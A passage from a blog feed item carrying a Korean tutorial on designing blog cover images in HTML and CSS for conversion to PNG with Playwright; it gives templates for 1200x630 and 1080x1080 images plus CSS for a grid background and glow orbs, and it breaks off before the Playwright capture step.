&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[블로그 대표이미지를 코드로 만드는 법 — HTML + Playwright PNG 변환]]></title><description><![CDATA[블로그 대표이미지 자동 생성 커버 — HTML + Playwright로 PNG 변환하는 방법 안녕하세요, 자바파커입니다. 블로그 포스팅을 쓸 때마다 고민되는 게 있습니다 — 대표이미지. "포토샵은 못 쓰고, Canva…]]></description><link>https://blog.javapark.kr/html-to-png-image-generation/</link><guid isPermaLink="false">https://blog.javapark.kr/html-to-png-image-generation/</guid><pubDate>Sat, 28 Mar 2026 11:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/html-to-png-image-generation.png&quot; alt=&quot;블로그 대표이미지 자동 생성 커버 — HTML + Playwright로 PNG 변환하는 방법&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;블로그 포스팅을 쓸 때마다 고민되는 게 있습니다 — &lt;strong&gt;대표이미지&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;포토샵은 못 쓰고, Canva는 매번 접속하기 귀찮고, 일관된 스타일을 유지하고 싶은데...&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;HTML+CSS로 이미지를 디자인하고, Playwright로 PNG를 캡처하면 됩니다.&lt;/strong&gt; 이 블로그의 모든 대표이미지가 이 방식으로 만들어졌습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 HTML로 이미지를 만드는가?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;장점&lt;/th&gt;
&lt;th&gt;단점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;포토샵/피그마&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;자유도 높음&lt;/td&gt;
&lt;td&gt;매번 수동 작업, 라이선스 비용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Canva&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;쉽고 빠름&lt;/td&gt;
&lt;td&gt;템플릿 느낌, 일관성 유지 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HTML+CSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;코드로 관리, 재사용, 자동화 가능&lt;/td&gt;
&lt;td&gt;CSS 지식 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;개발자에게 HTML+CSS 방식이 유리한 이유는 세 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;코드 = 템플릿&lt;/strong&gt; — 한 번 만들면 텍스트만 바꿔서 재사용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;버전 관리&lt;/strong&gt; — Git으로 이미지 소스를 관리할 수 있음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자동화&lt;/strong&gt; — Claude Code에게 &quot;이 포스팅용 대표이미지 만들어줘&quot; 한 마디로 생성 가능&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;전체 워크플로우&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;HTML+CSS 작성 → 브라우저에서 확인 → Playwright로 PNG 캡처 → 블로그에 사용&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;소요 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. HTML 작성&lt;/td&gt;
&lt;td&gt;VS Code / Claude Code&lt;/td&gt;
&lt;td&gt;5~10분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 미리보기&lt;/td&gt;
&lt;td&gt;브라우저에서 파일 열기&lt;/td&gt;
&lt;td&gt;즉시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. PNG 캡처&lt;/td&gt;
&lt;td&gt;Playwright&lt;/td&gt;
&lt;td&gt;즉시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;1단계: HTML+CSS로 이미지 디자인&lt;/h2&gt;
&lt;h3&gt;기본 구조 — 썸네일 (1200x630)&lt;/h3&gt;
&lt;p&gt;블로그 OG 이미지, 유튜브 썸네일용 비율입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token doctype&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span class=&quot;token doctype-tag&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;token name&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;html&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;ko&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;head&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;charset&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;UTF-8&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;style&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token style&quot;&gt;&lt;span class=&quot;token language-css&quot;&gt;
      &lt;span class=&quot;token selector&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;box-sizing&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; border-box&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token selector&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1200px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 630px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; flex&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;align-items&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; center&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;justify-content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; center&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;linear-gradient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
          135deg&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          #0f172a 0%&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          #1e293b 50%&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          #0f172a 100%
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Segoe UI&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Malgun Gothic&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sans-serif&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;overflow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; hidden&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; relative&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;token selector&quot;&gt;h1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #f1f5f9&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 48px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 800&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;text-align&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; center&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;line-height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.3&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;token selector&quot;&gt;h1 span&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;linear-gradient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;90deg&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; #0ea5e9&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; #8b5cf6&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;-webkit-background-clip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;-webkit-text-fill-color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; transparent&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;style&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;head&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;여기에 &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;제목&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;을&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;br&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;입력합니다&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;h1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;body&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;html&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이것만으로도 다크 배경에 그라데이션 텍스트가 들어간 이미지가 됩니다.&lt;/p&gt;
&lt;h3&gt;기본 구조 — 대표이미지 (1080x1080)&lt;/h3&gt;
&lt;p&gt;SNS 공유, 티스토리 대표이미지용 1:1 비율입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;style&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token style&quot;&gt;&lt;span class=&quot;token language-css&quot;&gt;
  &lt;span class=&quot;token selector&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;box-sizing&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; border-box&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token selector&quot;&gt;html&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1080px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1080px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;overflow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; hidden&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token selector&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1080px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1080px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;/* 나머지는 동일 */&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;style&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; 1:1 비율일 때는 &lt;code class=&quot;language-text&quot;&gt;html&lt;/code&gt;에도 &lt;code class=&quot;language-text&quot;&gt;width&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;height&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;overflow: hidden&lt;/code&gt;을 넣어야 캡처 시 여백이 생기지 않습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2단계: 디자인 요소 추가하기&lt;/h2&gt;
&lt;p&gt;기본 구조에 시각적 요소를 더하면 완성도가 올라갑니다. 이 블로그에서 실제로 사용하는 패턴을 공개합니다.&lt;/p&gt;
&lt;h3&gt;그리드 배경&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;body::before&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; absolute&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;inset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background-image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;linear-gradient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 165&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 233&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.06&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 1px&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      transparent 1px
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;linear-gradient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;90deg&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 165&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 233&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.06&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; 1px&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; transparent 1px&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 40px 40px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;반투명 격자 패턴으로 &quot;기술적인 느낌&quot;을 줍니다. 배경에 깔아두면 단순한 배경이 살아납니다.&lt;/p&gt;
&lt;h3&gt;글로우 오브(Glow Orb)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.orb&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; absolute&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border-radius&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 50%&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;blur&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;80px&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;opacity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0.3&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;.orb-1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 350px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 350px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #0ea5e9&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; -100px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 150px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;.orb-2&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 280px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 280px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #8b5cf6&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;bottom&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; -80px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 100px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
